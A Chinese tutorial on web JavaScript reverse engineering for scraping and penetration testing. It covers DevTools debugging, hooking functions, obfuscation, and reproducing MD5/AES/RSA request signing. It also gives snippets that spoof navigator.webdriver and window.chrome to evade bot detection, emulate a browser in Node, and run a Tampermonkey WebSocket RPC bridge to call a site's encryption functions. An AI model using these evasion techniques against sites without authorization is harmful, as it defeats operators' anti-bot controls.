【Js逆向 python】Web JS 逆向全体系详细解释

Web JS 逆向全体系内容

互联网技术安全提示与职业操守

做渗透测试,必须严格遵守以下原则:

  1. 合法授权 :仅在书面授权的范围内使用逆向技术,禁止未授权测试;
  2. 最小影响 :避免使用高风险参数(如sqlmap工具的 --risk=3--os-shell),防止目标服务崩溃;
  3. 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
  4. 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
  4. 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位互联网技术工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

第一部分:大纲全章节技术点入门详解

基础入门→核心技术实操→全流程实战全覆盖,零基础可学、步骤可 1:1 复现。

第一章 逆向基础

1. 核心定义与底层原理

Web JS 逆向(Web JavaScript 逆向工程),本质是反向分析前端网页的 JS 代码

网站的接口加密、参数签名、反爬逻辑全部在前端 JS 中实现,我们通过调试、分析、还原 JS 代码,搞懂「加密参数的生成规则」,最终用 Python / 其他语言复现逻辑,实现爬虫、接口调用、渗透测试的目标。

  • 底层原理:前端所有加密、反爬逻辑最终都要在浏览器中执行,只要代码能在浏览器运行,就能被分析、还原、复现。

2. 实战作用与应用场景

  • 爬虫开发:破解网站 sign、token、加密 data 参数,实现自动化数据爬取;
  • 渗透测试:分析前端登录加密、签名校验逻辑,寻找越权、未授权接口漏洞;
  • 接口对接:第三方网站无开放 API 时,通过逆向实现接口调用;
  • 反爬对抗:绕过网站的环境检测、反调试、代码混淆。

3. 核心知识点拆解

  • 前端 JS 执行流程:网页加载→JS 下载→V8 引擎解析执行→发起接口请求;
  • 核心目标:找到「加密参数的生成函数」,还原完整逻辑;
  • 核心原则:所有前端加密都是纸老虎,密钥、逻辑都在前端 JS 中,只要能调试就能还原。

4. 极简入门示例

javascript 复制代码
// 网站最常见的sign签名生成逻辑(逆向核心目标)
// 作用:生成接口请求的签名,防止参数被篡改
function generateSign(keyword, timestamp) {
    // 1. 拼接参数
    const str = keyword + timestamp;
    // 2. MD5哈希生成签名
    return CryptoJS.MD5(str).toString();
}

// 逆向的核心:搞懂这个函数的逻辑,用Python复现

第二章 浏览器控制台(DevTools)

DevTools 是 JS 逆向的核心工具,对应大纲 3 节内容:Network、Sources+Application、Console。

第一节 Network 面板

1. 核心定义与底层原理

Network 面板是浏览器的网络抓包工具,记录网页所有 HTTP/HTTPS 请求(接口、JS、图片等),可查看请求 URL、请求头、请求体、响应内容,是逆向的第一步 ------ 找到目标接口和加密参数。

2. 实战作用与应用场景
  • 找到目标数据接口(榜单、用户信息、搜索结果);
  • 查看接口的加密参数(sign、token、data 等),确定逆向目标;
  • 查看请求头、Cookie、Referer 等反爬校验字段;
  • 查看接口响应内容,确认数据格式。
3. 核心知识点拆解
  • 筛选器:All / 全部、XHR/fetch(接口请求,逆向最常用)、JS、Img 等;

  • 请求详情:

    • Headers:请求头、响应头、请求 URL、请求方法;
    • Payload:POST 请求的请求体(加密参数通常在这里);
    • Response:接口返回的内容;
    • Initiator:请求的发起者(JS 代码位置,定位加密函数的入口);
  • 必开配置:Preserve log(保留日志,刷新不清空)、Disable cache(禁用缓存)。

4. 极简入门操作
  1. 打开 Chrome,按F12打开 DevTools,切换到 Network 面板;
  2. 勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
  3. 刷新网页,即可看到所有接口请求,点击任意一个查看加密参数。

第二节 Sources+Application 面板

1. 核心定义与底层原理
  • Sources 面板:JS 代码调试核心战场,可查看所有 JS 代码、设置断点、单步调试、查看变量值,找到加密函数核心逻辑;
  • Application 面板:查看网站的 Cookie、LocalStorage、SessionStorage,加密密钥、token 通常存储在这里。
2. 实战作用与应用场景
  • 调试 JS 代码,单步执行查看加密过程的变量值,还原加密逻辑;
  • 找到加密用的密钥、token、用户标识;
  • 格式化压缩混淆的 JS 代码,提升可读性;
  • 断点管理:精准定位加密函数入口。
3. 核心知识点拆解
  • 代码格式化 :点击 JS 代码左下角的{}按钮,把压缩的单行代码格式化为分行可读代码;

  • 断点类型:

    • 普通断点:点击代码行号,执行到该行暂停;
  • 条件断点:右键行号设置条件,条件满足时暂停;

    • XHR 断点:接口 URL 包含指定关键词时暂停,定位加密入口;
  • 调试控制按钮:

    • 继续执行(F8):执行到下一个断点;
  • 单步跳过(F10):逐行执行,不进入函数内部;

    • 单步进入(F11):逐行执行,进入函数内部;
    • 单步跳出(Shift+F11):跳出当前函数;
  • Scope 面板:断点暂停时,查看当前作用域的所有变量值,还原加密逻辑的核心。

4. 极简入门示例
javascript 复制代码
// 网站加密函数示例
function encryptData(data) {
    // 密钥从Application面板的LocalStorage中获取
    const key = localStorage.getItem("encrypt_key");
    return AES.encrypt(data, key).toString();
}
  1. 打开 Sources 面板,找到这段代码;
  2. 点击return行的行号设置断点;
  3. 触发接口请求,代码暂停;
  4. 在 Scope 面板查看datakey的值,确认加密输入和密钥;
  5. 打开 Application 面板,找到 LocalStorage 里的encrypt_key

第三节 Console 面板

1. 核心定义与底层原理

Console 面板是JS 交互式执行环境,可直接执行 JS 代码、调用网站函数、查看变量、注入 Hook 代码,是逆向的「测试场」。

2. 实战作用与应用场景
  • 测试加密函数:调用网站的加密函数,传入自定义参数,验证逻辑正确性;
  • 查看变量 / 函数定义:确认网站的全局变量、加密函数逻辑;
  • 执行 Hook 代码:拦截加密函数、原生方法,查看参数和返回值;
  • 调试输出:断点暂停时,查看变量的详细信息。
3. 核心知识点拆解
  • 全局作用域:Console 中执行的代码默认在网页全局作用域,可直接调用网站的全局函数、变量;

  • 常用指令:

    • console.log(变量):输出变量值;
  • console.dir(对象):输出对象的所有属性和方法;

    • debugger:手动触发断点;
  • 代码补全 :输入代码时按Tab自动补全函数名、变量名。

4. 极简入门示例
javascript 复制代码
// 1. 调用网站加密函数,测试逻辑
const testSign = generateSign("测试关键词", "1761800000000");
console.log("测试生成的sign:", testSign);

// 2. 查看加密函数的完整定义
console.dir(generateSign);

// 3. 查看LocalStorage中的密钥
console.log("加密密钥:", localStorage.getItem("encrypt_key"));

第三章 加密参数的定位方法

对应大纲内容:常用方法 + Hook 注入,核心是XHR 断点定位Hook 注入定位,是逆向的核心步骤。

第一节 XHR 断点定位加密函数

1. 核心定义与底层原理

XHR 断点(XMLHttpRequest/fetch 断点),原理是:浏览器发起接口请求前,会先执行 JS 加密逻辑生成参数,我们给接口 URL 设置断点,请求发起时浏览器会自动暂停,通过调用栈回溯即可找到加密参数的生成函数。

2. 实战作用与应用场景
  • 90% 的逆向场景通用,快速定位加密参数生成位置;
  • 不知道加密函数名、关键词时,无需盲目搜索代码;
  • 精准定位,不会遗漏加密逻辑。
3. 核心知识点拆解
  • 断点触发条件:发起的接口 URL 包含设置的关键词时触发;
  • 调用栈(Call Stack):断点触发后,面板会显示代码执行顺序,最上方是当前代码,往下是调用它的代码,从下往上回溯即可找到业务代码中的加密逻辑;
  • 框架过滤:jQuery、Axios 等框架代码不是目标,需跳过。
4. 极简入门操作
  1. 打开 DevTools→Sources 面板,找到「XHR/fetch Breakpoints」;
  2. 点击「Add breakpoint」,输入接口 URL 关键词(如rank/list);
  3. 触发接口请求,断点触发;
  4. 查看 Call Stack,从下往上找到业务代码,进入即可找到加密函数。

第二节 Hook 注入定位加密函数

1. 核心定义与底层原理

Hook 注入(函数钩子),原理是:重写浏览器原生方法、网站加密函数,在函数执行前先执行我们的代码,查看函数的输入参数、返回值,甚至修改结果,从而定位加密位置。

2. 实战作用与应用场景
  • 已知加密用了 Base64/MD5/AES 等方法,Hook 对应方法即可找到调用位置;
  • 查看接口请求前的参数,确认加密结果;
  • 绕过环境检测、反调试。
3. 核心知识点拆解
  • Hook 核心逻辑:保留原函数→重写函数→添加自定义逻辑→调用原函数→返回结果

  • 常用 Hook 目标:

    • 原生编码:window.btoa/window.atob(Base64);
    • 加密 API:window.crypto.subtle
    • 接口请求:XMLHttpRequest.prototype.send/window.fetch
    • 哈希方法:CryptoJS.MD5/CryptoJS.AES
  • Hook 时机:需在网站 JS 执行前注入,否则 Hook 不到。

4. 极简入门 Hook 代码
javascript 复制代码
// Hook window.btoa(Base64编码)
// 1. 保存原函数,避免功能丢失
const originalBtoa = window.btoa;
// 2. 重写btoa函数
window.btoa = function(...args) {
    // 3. 自定义逻辑:打印输入内容
    console.log("btoa被调用,输入:", args[0]);
    // 4. 调用原函数,获取结果
    const result = originalBtoa.apply(this, args);
    // 5. 打印输出结果
    console.log("btoa编码结果:", result);
    // 6. 打印调用栈,定位调用位置
    console.log("调用栈:", new Error().stack);
    // 7. 返回原结果,不影响网站功能
    return result;
};

第四章 常见的压缩和混淆

对应大纲内容:压缩混淆概述、javascript-obfuscator 示例,核心是 JS 混淆的原理、识别、反混淆基础。

1. 核心定义与底层原理

  • 代码压缩 :删除空格、换行、注释,把长变量名改为短名(如generateSigna),减小文件体积,同时降低代码可读性;
  • 代码混淆 :通过字符串加密、控制流扁平化、死代码注入、变量名乱码等方式,把可读代码变成完全看不懂的「乱码」,核心目的是保护前端代码,防止逆向分析,是网站最常用的反爬手段。
  • 底层原理:混淆后的代码功能和原代码完全一致,只是代码形态改变,浏览器 V8 引擎仍可正常执行,仅人类无法读懂。

2. 实战作用与应用场景

  • 逆向场景:识别网站的混淆工具,选择对应的反混淆方法;
  • 反爬对抗:还原混淆代码,找到加密、反爬逻辑;
  • 代码保护:自己的前端代码用混淆工具保护,防止被逆向。

3. 核心知识点拆解

  • 常见混淆工具:

    • javascript-obfuscator:最常用、功能最强的混淆工具,对应大纲示例;
  • Terser:主流压缩工具,支持基础混淆;

    • JScrambler:商业级混淆工具,反调试能力强;
  • 常见混淆手段:

    1. 变量名 / 函数名混淆:把有意义的名字改为_0x123456ab等乱码;
  1. 字符串加密:把代码中的 URL、密钥、提示语加密,运行时再解密;
  2. 控制流扁平化:把顺序执行的代码改为 switch-case 循环,打乱执行顺序;
  3. 死代码注入:插入永远不会执行的代码,干扰分析;
  4. 反调试:加入无限 debugger、DevTools 检测代码,防止被调试。

4. 极简入门示例

混淆前原始代码
javascript 复制代码
function generateSign(data, timestamp) {
    const salt = "my_secret_salt";
    const signStr = salt + data + timestamp;
    return CryptoJS.MD5(signStr).toString();
}
javascript-obfuscator 混淆后代码
javascript 复制代码
var _0x1a2b=['MD5','toString','my_secret_salt'];(function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};function generateSign(_0x4d5a,_0x5f6b){const _0x1e3f=_0x2f8e(0x0);const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();}

第五章 常见的编码和加密

对应大纲内容:常见的编码和加密,是 JS 逆向的核心基础,90% 的网站加密参数都用这几种算法。

通用核心定义

  • 编码:可逆、无密钥的转换,目的是方便传输,不是加密,如 Base64,任何人都能解码;
  • 加密:可逆、有密钥的转换,目的是保护数据,只有持密钥者能解密,如 AES、RSA;
  • 哈希(摘要):不可逆的转换,把任意长度内容转成固定长度字符串,无法从结果还原原始内容,如 MD5,常用于签名、防篡改。

第一节 Base64 编码

1. 核心定义与底层原理

Base64 是二进制转文本编码,把二进制数据(图片、字符串)转换成由 64 个可打印字符(A-Z、a-z、0-9、+、/)组成的字符串,目的是让二进制数据在 HTTP 协议中正常传输,避免乱码。

  • 底层原理:把 3 个字节(24 位)拆成 4 个 6 位的块,每个 6 位对应 Base64 表的一个字符,不足用=补全。
2. 实战作用与应用场景
  • 网站的datatoken参数常用 Base64 编码;
  • 接口中的图片、文件用 Base64 传输;
  • 逆向场景:参数结尾有=,大概率是 Base64 编码,解码即可看到原始内容。
3. 核心知识点拆解
  • 浏览器原生方法:window.btoa()编码,window.atob()解码;
  • 特征:编码后仅包含 A-Z、a-z、0-9、+、/、=,结尾可能有 1-2 个=
  • 注意:Base64 是编码不是加密,无密钥,任何人都能解码。
4. 极简入门代码
javascript 复制代码
// 1. Base64编码(处理中文避免乱码)
const rawStr = "我的加密内容123";
const base64Str = btoa(encodeURIComponent(rawStr));
console.log("Base64编码结果:", base64Str);

// 2. Base64解码
const decodeStr = decodeURIComponent(atob(base64Str));
console.log("Base64解码结果:", decodeStr);

第二节 MD5 哈希算法

1. 核心定义与底层原理

MD5(Message-Digest Algorithm 5)是不可逆的哈希摘要算法,把任意长度的输入转换成固定 32 位十六进制字符串,输入内容稍有变化,输出结果完全不同,无法从 MD5 值还原原始内容。

  • 底层原理:通过四轮非线性函数运算,把输入拆分成 512 位的块,最终生成 128 位哈希值,转成 32 位十六进制字符串。
2. 实战作用与应用场景
  • 网站接口的sign签名参数 90% 用 MD5 生成,防止参数被篡改;
  • 早期网站用 MD5 加密用户密码;
  • 逆向场景:看到 32 位十六进制字符串,大概率是 MD5 签名,核心是还原拼接规则。
3. 核心知识点拆解
  • 特征:输出固定 32 位(或 16 位)十六进制字符串,仅包含 0-9、a-f(A-F);
  • 不可逆:无法从 MD5 值还原原始内容,逆向核心是找到拼接规则 (如盐值+参数+时间戳);
  • 常用库:前端用CryptoJS.MD5(),Python 用hashlib.md5()
4. 极简入门代码
javascript 复制代码
// 前提:页面已加载CryptoJS库(绝大多数网站都用)
const keyword = "Python逆向";
const timestamp = "1761800000000";
const salt = "my_secret_salt"; // 网站硬编码的盐值,逆向需找到它

// 拼接签名字符串(核心:还原这个规则)
const signStr = salt + keyword + timestamp;
// 生成MD5签名,转小写
const sign = CryptoJS.MD5(signStr).toString().toLowerCase();
console.log("生成的MD5签名:", sign);

第三节 AES 对称加密

1. 核心定义与底层原理

AES(Advanced Encryption Standard)是对称加密算法,加密解密用同一个密钥,加密速度快、安全性高,是网站最常用的对称加密算法,用于加密接口请求体、响应体。

  • 底层原理:把明文分成 128 位的块,通过多轮替换、移位、混合运算,用密钥加密成密文,解密时用同一个密钥反向运算。
  • 常见模式:CBC 模式(最常用,需 IV 初始向量)、ECB 模式(简单,不安全)。
2. 实战作用与应用场景
  • 网站接口的data参数用 AES 加密,防止请求内容被抓包查看;
  • 响应体加密:网站返回的内容是 AES 加密的,前端解密后渲染;
  • 逆向场景:需找到 AES 的密钥、IV、模式、填充方式,才能解密 / 复现加密逻辑。
3. 核心知识点拆解
  • 核心要素:

    1. 密钥(Key):16 位(AES-128)、24 位(AES-192)、32 位(AES-256),加密解密共用;
    2. 初始向量(IV):CBC 模式必须,16 位,和密钥一起用于加密;
    3. 模式:CBC(最常用)、ECB;
    4. 填充方式:PKCS7Padding(CryptoJS 默认)、PKCS5Padding;
  • 特征:加密后的内容通常是 Base64 编码或十六进制字符串。

4. 极简入门代码
javascript 复制代码
// 前提:页面已加载CryptoJS库
// 1. 核心配置(逆向必须找到这几个值)
const key = CryptoJS.enc.Utf8.parse("1234567890abcdef"); // 16位密钥
const iv = CryptoJS.enc.Utf8.parse("0123456789abcdef");  // 16位IV向量

// 2. AES加密
const rawData = '{"keyword":"Python逆向","page":1}';
const encrypted = CryptoJS.AES.encrypt(
    rawData,
    key,
    { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
const encryptedStr = encrypted.toString();
console.log("AES加密结果:", encryptedStr);

// 3. AES解密
const decrypted = CryptoJS.AES.decrypt(
    encryptedStr,
    key,
    { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
const decryptedStr = decrypted.toString(CryptoJS.enc.Utf8);
console.log("AES解密结果:", decryptedStr);

第四节 RSA 非对称加密

1. 核心定义与底层原理

RSA 是非对称加密算法,有一对密钥:公钥(Public Key)和私钥(Private Key),公钥加密的内容只有对应的私钥能解密;私钥签名的内容,公钥能验证签名。安全性基于大数质因数分解的难度,是目前最常用的非对称加密算法。

2. 实战作用与应用场景
  • 网站登录:前端用公钥加密用户密码,传输到后端,后端用私钥解密,防止密码被抓包泄露;
  • 签名验签:后端用私钥对数据签名,前端用公钥验证,防止数据被篡改;
  • 逆向场景:登录接口的密码加密通常用 RSA,需找到公钥,复现加密逻辑。
3. 核心知识点拆解
  • 核心特征:

    • 公钥是公开的,通常以-----BEGIN PUBLIC KEY-----开头,网站会通过接口返回或硬编码在 JS 中;
    • 加密后的内容是长字符串,通常是 Base64 编码;
    • 非对称:公钥只能加密不能解密,只有私钥能解密,逆向只能复现加密,无法解密。
  • 常用库:前端用JSEncrypt库,Python 用pycryptodome库。

4. 极简入门代码
javascript 复制代码
// 前提:页面已加载JSEncrypt库(网站登录加密常用)
// 1. 网站的公钥(逆向需从JS中找到)
const publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9wIDAQAB
-----END PUBLIC KEY-----`;

// 2. 创建加密实例
const encrypt = new JSEncrypt();
// 3. 设置公钥
encrypt.setPublicKey(publicKey);
// 4. 加密用户密码
const password = "my_password_123";
const encryptedPassword = encrypt.encrypt(password);
console.log("RSA加密后的密码:", encryptedPassword);

第六章 加密参数还原与模拟

对应大纲内容:Newrank 榜单逆向、MD5/RSA/AES 加密逆向案例,核心是把前面的技术整合,还原加密逻辑并复现,完整实战案例见第三模块。


第七章 浏览器环境补充

对应大纲内容:常被检测的环境、手动补全、JSDOM、Selenium、Puppeteer,核心是解决「JS 代码在 Node.js 中运行报错,缺少浏览器环境」的问题。

1. 核心定义与底层原理

浏览器环境,指 JS 代码运行时浏览器提供的全局对象和 API,比如windowdocumentnavigatorlocation等。网站的 JS 代码很多依赖这些浏览器 API,而 Node.js 中没有这些对象,直接复制网站 JS 代码到 Node.js 运行会报window is not defined等错误。

  • 环境补全:在 Node.js 中模拟浏览器的全局对象和 API,让网站的 JS 代码能在 Node.js 中正常运行,生成加密参数。

2. 实战作用与应用场景

  • 逆向场景:网站加密代码依赖浏览器环境,无法直接在 Node.js 中运行,需补全环境;
  • 爬虫开发:补全环境后,可在 Python 爬虫中调用 Node.js 加密函数,生成加密参数;
  • 反爬对抗:绕过网站的浏览器环境检测,模拟正常浏览器环境。

3. 核心知识点拆解

  • 常被检测 / 依赖的环境对象:

    1. 全局对象:windowselfthis(浏览器顶层 this 指向 window);
  1. 浏览器信息:navigator(userAgent、platform、webdriver);
  2. DOM 对象:documentlocationhistory
  3. 屏幕信息:screen(宽度、高度);
  4. 加密 API:window.crypto
  • 环境补全的三种方式:

    1. 手动补全:自己写代码模拟缺少的对象和 API,适合简单场景;
  1. JSDOM 补全:用 JSDOM 库模拟完整的浏览器 DOM 环境,适合中等复杂度场景;
  2. 浏览器自动化:用 Selenium、Puppeteer 直接控制真实浏览器,运行 JS 代码,适合复杂环境检测场景。

4. 极简入门示例

(1)手动环境补全(简单场景)
javascript 复制代码
// Node.js环境下,手动补全window对象,解决"window is not defined"错误
global.window = global; // 用Node.js的global模拟window
// 补全navigator对象
global.navigator = {
    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
    platform: "Win32",
    webdriver: false
};
// 补全location对象
global.location = {
    href: "https://www.example.com",
    host: "www.example.com"
};

console.log("浏览器环境补全完成,userAgent:", window.navigator.userAgent);
// 现在可复制网站的JS代码到这里运行
(2)JSDOM 环境补全(中等场景)
javascript 复制代码
// 先安装:npm install jsdom
const { JSDOM } = require('jsdom');

// 1. 创建JSDOM实例,模拟浏览器环境
const dom = new JSDOM('<!DOCTYPE html>', {
    url: "https://www.example.com",
    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
    runScripts: "dangerously"
});

// 2. 把JSDOM的对象挂载到Node.js的global上
global.window = dom.window;
global.document = dom.window.document;
global.navigator = dom.window.navigator;
global.location = dom.window.location;

console.log("JSDOM环境补全完成,document对象:", document);
// 现在可直接复制网站的JS代码到这里运行

第八章 浏览器环境监测

对应大纲内容:浏览器环境监测,核心是网站的反爬手段 ------ 检测当前运行环境是真实浏览器,还是爬虫 / Node.js/ 自动化工具。

1. 核心定义与底层原理

浏览器环境监测(指纹检测、反自动化检测),是网站的前端反爬手段,通过 JS 代码检测当前环境的特征,判断是正常用户的浏览器,还是爬虫程序、自动化工具(Selenium/Puppeteer)、Node.js 环境,如果检测到是爬虫,就会返回错误数据、封禁 IP、触发验证码。

  • 底层原理:真实浏览器的环境特征,和自动化工具、Node.js 的环境特征有很多差异,网站通过检测这些差异识别爬虫。

2. 实战作用与应用场景

  • 逆向场景:分析网站的环境检测逻辑,找到检测点,绕过反爬;
  • 爬虫开发:修改自动化工具的环境特征,模拟真实浏览器,绕过检测;
  • 渗透测试:分析网站的反爬规则,找到绕过方法,实现自动化爬取。

3. 核心知识点拆解

  • 常见的检测点:

    1. navigator.webdriver:自动化工具会把这个值设为true,真实浏览器是undefined
  1. window.chrome:Chrome 浏览器有这个对象,无头浏览器、自动化工具可能没有;
  2. navigator.userAgent:检测 UA 是否是爬虫的 UA;
  3. screen对象:检测屏幕分辨率、颜色深度,无头浏览器的分辨率可能异常;
  4. 插件检测:navigator.plugins,真实浏览器有插件,无头浏览器没有;
  5. 鼠标 / 键盘事件:检测是否有真实的鼠标移动、键盘输入,自动化工具的事件特征和真人不同;
  6. Canvas/WebGL 指纹:检测浏览器的图形渲染特征,识别无头浏览器。
  • 绕过核心思路:找到网站的检测代码,Hook 对应的属性,修改返回值,模拟真实浏览器的特征。

4. 极简入门示例(绕过 webdriver 检测)

javascript 复制代码
// Hook绕过webdriver检测,在网站JS执行前注入
Object.defineProperty(navigator, 'webdriver', {
    get: () => undefined, // 真实浏览器的返回值是undefined,自动化工具是true
});

// 同时绕过window.chrome检测
Object.defineProperty(window, 'chrome', {
    get: () => ({
        runtime: {},
        loadTimes: () => {},
        csi: () => {}
    }),
});

console.log("webdriver检测绕过完成,navigator.webdriver:", navigator.webdriver);

第九章 加密方法远程调用(RPC)

对应大纲内容:微博登录参数 RPC,核心是远程调用浏览器里的加密函数,不用还原加密逻辑、不用补全环境。

1. 核心定义与底层原理

RPC(Remote Procedure Call,远程过程调用),在 JS 逆向里指:在浏览器里运行网站的 JS 代码,我们通过 WebSocket/HTTP 接口,远程调用浏览器里的加密函数,拿到加密结果

  • 底层原理:网站的加密代码在真实浏览器里运行完全正常,不会有环境检测、代码混淆的问题,我们只需要在浏览器里开一个接口,让 Python 爬虫能调用这个接口,拿到加密参数,不用费劲还原加密逻辑、补全环境。

2. 实战作用与应用场景

  • 加密逻辑极度复杂,无法还原(混淆严重、WASM 加密、环境检测多);
  • 网站的加密代码经常更新,还原逻辑的成本太高,用 RPC 一劳永逸;
  • 微博登录、支付接口等复杂加密场景,用 RPC 快速实现加密参数生成。

3. 核心知识点拆解

  • RPC 实现原理:

    1. 在浏览器里注入 JS 代码,启动一个 WebSocket 服务,或者用油猴脚本、浏览器插件,监听 HTTP 请求;
  1. Python 爬虫发送请求,把要加密的参数传给浏览器里的 RPC 服务;
  2. 浏览器里的 RPC 服务,调用网站的加密函数,生成加密结果;
  3. 把加密结果返回给 Python 爬虫,爬虫用这个参数发起接口请求。
  • 常用实现方式:

    1. 油猴脚本(Tampermonkey)+ 本地 HTTP 服务:最常用,简单易实现;
  1. 浏览器插件:稳定性高,适合长期使用;
  2. Puppeteer/Selenium:直接在自动化浏览器里调用 JS 函数,拿到结果,属于轻量 RPC。

4. 极简入门示例(油猴 RPC 脚本)

javascript 复制代码
// ==UserScript==
// @name         网站加密函数RPC服务
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  远程调用网站的加密函数
// @match        https://www.example.com/*  // 替换成目标网站的域名
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    // 1. 连接本地WebSocket服务
    const ws = new WebSocket('ws://127.0.0.1:8080');

    // 2. 连接成功
    ws.onopen = () => {
        console.log("RPC服务连接成功");
    };

    // 3. 收到Python爬虫的请求,调用加密函数
    ws.onmessage = (event) => {
        // 解析爬虫传来的参数
        const params = JSON.parse(event.data);
        const keyword = params.keyword;
        const timestamp = params.timestamp;

        // 4. 调用网站里的加密函数(核心:直接用网站里的函数,不用还原)
        const sign = window.generateSign(keyword, timestamp);
        const encryptedData = window.encryptData(JSON.stringify(params));

        // 5. 把加密结果返回给Python爬虫
        ws.send(JSON.stringify({
            sign: sign,
            encryptedData: encryptedData
        }));
    };
})();

第十章 常见协议分析

对应大纲内容:常见协议分析,核心是 HTTP/HTTPS 协议的结构、请求方法、头字段、接口分析方法,是逆向的基础。

1. 核心定义与底层原理

HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(HTTP+SSL/TLS,加密的 HTTP)是浏览器和网站服务器之间通信的协议,所有的网页加载、接口请求,都是通过这个协议传输的。协议分析,就是分析请求和响应的结构,找到接口的调用规则、参数格式、反爬校验字段,是逆向的第一步。

2. 实战作用与应用场景

  • 逆向场景:找到目标数据接口,分析接口的请求规则、加密参数、反爬字段;
  • 爬虫开发:根据协议分析的结果,构造合法的请求,实现数据爬取;
  • 渗透测试:分析接口的漏洞,比如越权、SQL 注入、未授权访问。

3. 核心知识点拆解

  • HTTP 请求结构:

    1. 请求行:请求方法(GET/POST)、请求 URL、协议版本(HTTP/1.1);

    2. 请求头(Request Headers):浏览器发给服务器的附加信息,是反爬的核心校验点,常见字段:

      • User-Agent:浏览器的标识,反爬必校验;
    • Referer:请求的来源页面,告诉服务器你是从哪个页面来的;
      • Cookie:用户的身份标识,登录状态、会话信息都在这里;
      • Content-Type:请求体的格式,常见的有application/jsonapplication/x-www-form-urlencoded
      • Authorization:token 认证字段;
    1. 请求体(Request Body):POST 请求的参数,加密参数通常在这里;
  • HTTP 响应结构:

    1. 状态行:协议版本、状态码(200 成功、403 禁止访问、404 未找到、500 服务器错误);
  1. 响应头(Response Headers):服务器返回的附加信息;
  2. 响应体(Response Body):服务器返回的数据,通常是 JSON 格式,我们要爬取的内容在这里;
  • 常见请求方法:

    • GET:从服务器获取数据,参数放在 URL 里;
  • POST:向服务器提交数据,参数放在请求体里,加密参数通常用 POST。

4. 极简入门示例(协议分析步骤)

  1. 打开 Chrome DevTools→Network 面板,勾选 Preserve log 和 Disable cache;
  2. 触发网页的查询操作,找到对应的 XHR 接口;
  3. 查看请求行:POST https://api.example.com/rank/list HTTP/1.1
  4. 查看请求头:找到User-AgentRefererCookieContent-Type
  5. 查看请求体:{"data":"xxx","sign":"xxx","timestamp":"xxx"},找到加密参数;
  6. 查看响应体:{"code":0,"data":{"list":[]}},确认数据格式;
  7. 用 Python 构造相同的请求,验证是否能拿到数据。

第十一章 常见反调试

对应大纲内容:无限 debugger 的原理与绕过,核心是网站的反调试手段,防止我们用 DevTools 调试 JS 代码。

1. 核心定义与底层原理

反调试,是网站的前端反爬手段,通过 JS 代码,检测用户是否打开了 DevTools(开发者工具),如果打开了,就会触发无限 debugger、页面卡死、代码加密、返回错误数据,防止我们调试、分析 JS 代码。

  • 无限 debugger 的原理:用定时器 / 循环,不断执行debugger语句,只要打开了 DevTools,代码就会不断暂停,无法正常调试,页面也会变得卡顿。

2. 实战作用与应用场景

  • 逆向场景:绕过网站的反调试,正常调试 JS 代码,找到加密函数;
  • 爬虫开发:分析网站的反调试逻辑,绕过反爬,实现自动化爬取;
  • 反爬对抗:掌握反调试的原理,找到对应的绕过方法。

3. 核心知识点拆解

  • 常见反调试手段:

    1. 无限 debugger:最常用,用setInterval不断执行debugger
  1. DevTools 检测:检测 DevTools 是否打开,比如检测console.log的执行时间、检测窗口大小变化;
  2. 代码压缩混淆:让代码无法读懂,增加调试难度;
  3. 断点检测:检测是否设置了断点,触发反爬;
  4. 内存爆破:生成大量的对象,让 DevTools 卡顿,无法调试。
  • 无限 debugger 的常见实现方式:

    javascript 复制代码
    // 最常见的无限debugger
    setInterval(() => {
      debugger;
    }, 100); // 每100毫秒执行一次debugger
    • 绕过核心思路:让debugger语句不执行,或者执行了也不暂停。

    4. 极简入门示例(无限 debugger 绕过)

    方法 1:条件断点绕过(最简单)

    1. 打开 DevTools→Sources 面板,找到debugger语句所在的行;
    2. 右键行号,选择「Add conditional breakpoint」;
    3. 在条件框里输入false,按回车;
    4. 刷新页面,debugger 永远不会触发,正常调试。

